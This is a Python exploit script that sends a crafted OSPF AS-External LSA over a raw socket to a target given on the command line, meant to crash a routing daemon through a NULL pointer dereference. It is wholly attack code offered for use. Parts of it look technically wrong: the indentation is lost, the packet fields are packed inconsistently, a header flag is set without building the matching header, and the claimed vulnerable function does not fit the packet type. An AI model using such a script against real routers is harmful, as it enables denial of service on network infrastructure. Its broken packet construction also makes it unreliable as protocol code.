import socket
import struct
import sys
# OSPF Header Structure
def build_ospf_header(ospf_type, payload):
version = 2 # OSPFv2
msg_type = ospf_type
length = 24 + len(payload) # OSPF header (24 bytes) + payload
router_id = b'\xc0\xa8\x01\x01' # Attacker's router ID
area_id = b'\xc0\xa8\x01\x00' # Area ID
checksum = 0
auth_type = 0
auth = b'\x00' * 8
header = struct.pack('!BBHIIIIHH',
version, msg_type, length,
router_id[0]*256+router_id[1],
router_id[2]*256+router_id[3],
area_id[0]*256+area_id[1],
area_id[2]*256+area_id[3],
checksum, auth_type)
header += auth
return header
# Build malformed OSPF External LSA to trigger NULL pointer dereference
def build_malformed_external_lsa():
# LSA header
ls_age = 1
options = 0x22
ls_type = 5 # AS-External LSA
link_state_id = 1
advertising_router = struct.pack('!I', 0xC0A80102)
ls_sequence = 0x80000001
ls_checksum = 0
length = 36 + 20 # header + external link data
lsa_header = struct.pack('!HHIII', ls_age, options, ls_type, link_state_id, advertising_router[0]*256+advertising_router[1])
lsa_header += struct.pack('!II', advertising_router[2]*256+advertising_router[3], ls_sequence)
lsa_header += struct.pack('!HH', ls_checksum, length)
# Malformed external link data to trigger NULL pointer in show_vty_ext_link_rmt_itf_addr
# Set network mask to 0 and external route type to cause NULL pointer dereference
network_mask = b'\x00\x00\x00\x00' # NULL mask to trigger vulnerability
ebit_tos = 0x80 # E-bit set
metric = struct.pack('!I', 1)
forwarding_address = b'\x00\x00\x00\x00' # NULL forwarding address
external_route_tag = struct.pack('!I', 0)
payload = network_mask + struct.pack('!B', ebit_tos) + metric + forwarding_address + external_route_tag
return lsa_header + payload
def exploit(target_ip, target_port=520):
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol
sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
lsa_payload = build_malformed_external_lsa()
ospf_header = build_ospf_header(4, lsa_payload) # Type 4: LSA Update
packet = ospf_header + lsa_payload
print(f'[+] Sending malicious OSPF packet to {target_ip}')
sock.sendto(packet, (target_ip, target_port))
print('[+] Packet sent. Target may crash due to NULL pointer dereference.')
sock.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <target_ip>')
sys.exit(1)
exploit(sys.argv[1])